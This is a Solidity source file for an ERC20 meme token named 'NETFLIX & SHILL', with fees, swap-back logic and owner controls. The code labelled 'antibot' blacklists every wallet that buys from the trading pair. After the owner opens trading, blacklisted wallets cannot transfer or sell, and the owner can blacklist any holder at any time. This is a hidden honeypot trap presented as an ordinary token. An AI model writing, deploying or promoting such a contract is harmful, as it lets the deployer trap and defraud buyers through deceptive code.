// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.12;
library SafeMath {
 function add(uint256 a, uint256 b) internal pure returns (uint256) {
 uint256 c = a + b;
 require(c >= a, "SafeMath: addition overflow");
 return c;
 }
 function sub(uint256 a, uint256 b) internal pure returns (uint256) {
 return sub(a, b, "SafeMath: subtraction overflow");
 }
 function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
 require(b <= a, errorMessage);
 uint256 c = a - b;
 return c;
 }
 function mul(uint256 a, uint256 b) internal pure returns (uint256) {
 if (a == 0) {
 return 0;
 }
 uint256 c = a * b;
 require(c / a == b, "SafeMath: multiplication overflow");
 return c;
 }
 function div(uint256 a, uint256 b) internal pure returns (uint256) {
 return div(a, b, "SafeMath: division by zero");
 }
 function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
 require(b > 0, errorMessage);
 uint256 c = a / b;
 return c;
 }
}
interface ERC20 {
 function getOwner() external view returns (address);
 function balanceOf(address account) external view returns (uint256);
 function transfer(address recipient, uint256 amount) external returns (bool);
 function allowance(address _owner, address spender) external view returns (uint256);
 function approve(address spender, uint256 amount) external returns (bool);
 function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
 event Transfer(address indexed from, address indexed to, uint256 value);
 event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Auth {
 address internal owner;
 constructor(address _owner) {
 owner = _owner;
 }
 modifier onlyOwner() {
 require(isOwner(msg.sender), "!OWNER"); _;
 }
 function isOwner(address account) public view returns (bool) {
 return account == owner;
 }
 function renounceOwnership() public onlyOwner {
 emit OwnershipTransferred(address(0));
 owner = address(0);
 }
 event OwnershipTransferred(address owner);
}
interface IDEXFactory {
 function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
 function factory() external pure returns (address);
 function WETH() external pure returns (address);
 function addLiquidityETH(
 address token,
 uint amountTokenDesired,
 uint amountTokenMin,
 uint amountETHMin,
 address to,
 uint deadline
 ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
 function swapExactTokensForETHSupportingFeeOnTransferTokens(
 uint amountIn,
 uint amountOutMin,
 address[] calldata path,
 address to,
 uint deadline
 ) external;
}
contract NETFLIXANDSHILL is ERC20, Auth {
 using SafeMath for uint256;
 address immutable WETH;
 address constant DEAD = 0x000000000000000000000000000000000000dEaD;
 address constant ZERO = 0x0000000000000000000000000000000000000000;
 string public constant name = "NETFLIX & SHILL";
 string public constant symbol = "NS";
 uint8 public constant decimals = 4;
 uint256 public constant totalSupply = 1 * 10**12 * 10**decimals;
 uint256 public _maxTxAmount = totalSupply / 100;
 uint256 public _maxWalletToken = totalSupply / 50;
 mapping (address => uint256) public balanceOf;
 mapping (address => mapping (address => uint256)) _allowances;
 mapping (address => bool) isFeeExempt;
 mapping (address => bool) isTxLimitExempt;
 mapping (address => bool) isWalletLimitExempt;
 uint256 public constant liquidityFee = 2;
 uint256 public constant maintainerFee = 1;
 uint256 public constant totalFee = 3;
 uint256 public constant feeDenominator = 100;
 address public autoLiquidityReceiver;
 address public maintainerFeeReceiver;
 bool public antibot = true;
 mapping (address => uint) public firstbuy;
 bool public blacklistMode = true;
 mapping (address => bool) public isBlacklisted;
 IDEXRouter public router;
 address public pair;
 bool public swapEnabled = true;
 uint256 public swapThreshold = totalSupply / 500;
 bool inSwap;
 modifier swapping() { inSwap = true; _; inSwap = false; }
 constructor () Auth(msg.sender) {
 router = IDEXRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
 WETH = router.WETH();
 pair = IDEXFactory(router.factory()).createPair(WETH, address(this));
 _allowances[address(this)][address(router)] = type(uint256).max;
 autoLiquidityReceiver = msg.sender;
 maintainerFeeReceiver = msg.sender;
 isFeeExempt[msg.sender] = true;
 isTxLimitExempt[msg.sender] = true;
 isTxLimitExempt[DEAD] = true;
 isTxLimitExempt[ZERO] = true;
 isWalletLimitExempt[msg.sender] = true;
 isWalletLimitExempt[address(this)] = true;
 isWalletLimitExempt[DEAD] = true;
 balanceOf[msg.sender] = totalSupply;
 emit Transfer(address(0), msg.sender, totalSupply);
 }
 receive() external payable { }
 function getOwner() external view override returns (address) { return owner; }
 function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
 function approve(address spender, uint256 amount) public override returns (bool) {
 _allowances[msg.sender][spender] = amount;
 emit Approval(msg.sender, spender, amount);
 return true;
 }
 function approveMax(address spender) external returns (bool) {
 return approve(spender, type(uint256).max);
 }
 function transfer(address recipient, uint256 amount) external override returns (bool) {
 return _transferFrom(msg.sender, recipient, amount);
 }
 function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
 if(_allowances[sender][msg.sender] != type(uint256).max){
 _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
 }
 return _transferFrom(sender, recipient, amount);
 }
 function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
 if(inSwap){ return _basicTransfer(sender, recipient, amount); }
 if(!isOwner(sender) && antibot){
 if(sender == pair){
 if(firstbuy[recipient] == 0){
 firstbuy[recipient] = block.number;
 }
 blacklist_wallet(recipient,true);
 }
 if(firstbuy[sender] > 0){
 require( firstbuy[sender] > (block.number - 20), "Bought before contract was launched");
 }
 }
 
 if(blacklistMode && !antibot){
 require(!isBlacklisted[sender],"Blacklisted"); 
 }
 if (!isOwner(sender) && !isWalletLimitExempt[sender] && !isWalletLimitExempt[recipient] && recipient != pair) {
 require((balanceOf[recipient] + amount) <= _maxWalletToken,"max wallet limit reached");
 }
 require((amount <= _maxTxAmount) || isTxLimitExempt[sender] || isTxLimitExempt[recipient], "TX Limit Exceeded");
 if(shouldSwapBack()){ swapBack(); }
 balanceOf[sender] = balanceOf[sender].sub(amount, "Insufficient Balance");
 uint256 amountReceived = (isFeeExempt[sender] || isFeeExempt[recipient]) ? amount : takeFee(sender, amount);
 balanceOf[recipient] = balanceOf[recipient].add(amountReceived);
 emit Transfer(sender, recipient, amountReceived);
 return true;
 }
 
 function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
 balanceOf[sender] = balanceOf[sender].sub(amount, "Insufficient Balance");
 balanceOf[recipient] = balanceOf[recipient].add(amount);
 emit Transfer(sender, recipient, amount);
 return true;
 }
 function takeFee(address sender, uint256 amount) internal returns (uint256) {
 if(totalFee == 0 ){
 return amount;
 }
 uint256 feeAmount = amount.mul(totalFee).div(feeDenominator);
 balanceOf[address(this)] = balanceOf[address(this)].add(feeAmount);
 emit Transfer(sender, address(this), feeAmount);
 return amount.sub(feeAmount);
 }
 function shouldSwapBack() internal view returns (bool) {
 return msg.sender != pair
 && !inSwap
 && swapEnabled
 && balanceOf[address(this)] >= swapThreshold;
 }
 function manage_blacklist_status(bool _status) external onlyOwner {
 blacklistMode = _status;
 }
 function manage_blacklist(address[] calldata addresses, bool status) external onlyOwner {
 for (uint256 i=0; i < addresses.length; ++i) {
 blacklist_wallet(addresses[i],status);
 }
 }
 function blacklist_wallet(address _adr, bool _status) internal {
 if(_status && _adr == address(this)){
 return;
 }
 isBlacklisted[_adr] = _status;
 }
 function tradingOpen() external onlyOwner {
 antibot = false;
 }
 function swapBack() internal swapping {
 uint256 amountToLiquify = swapThreshold.mul(liquidityFee).div(totalFee).div(2);
 uint256 amountToSwap = swapThreshold.sub(amountToLiquify);
 address[] memory path = new address[](2);
 path[0] = address(this);
 path[1] = WETH;
 router.swapExactTokensForETHSupportingFeeOnTransferTokens(
 amountToSwap,
 0,
 path,
 address(this),
 block.timestamp
 );
 uint256 amountETH = address(this).balance;
 uint256 totalETHFee = totalFee.sub(liquidityFee.div(2)); 
 uint256 amountETHLiquidity = amountETH.mul(liquidityFee).div(totalETHFee).div(2);
 uint256 amountETHmaintainer = amountETH.mul(maintainerFee).div(totalETHFee);
 payable(maintainerFeeReceiver).transfer(amountETHmaintainer);
 if(amountToLiquify > 0){
 router.addLiquidityETH{value: amountETHLiquidity}(
 address(this),
 amountToLiquify,
 0,
 0,
 autoLiquidityReceiver,
 block.timestamp
 );
 emit AutoLiquify(amountETHLiquidity, amountToLiquify);
 }
 }
 function getCirculatingSupply() public view returns (uint256) {
 return totalSupply.sub(balanceOf[DEAD]).sub(balanceOf[ZERO]);
 }
event AutoLiquify(uint256 amountETH, uint256 amountTokens);
}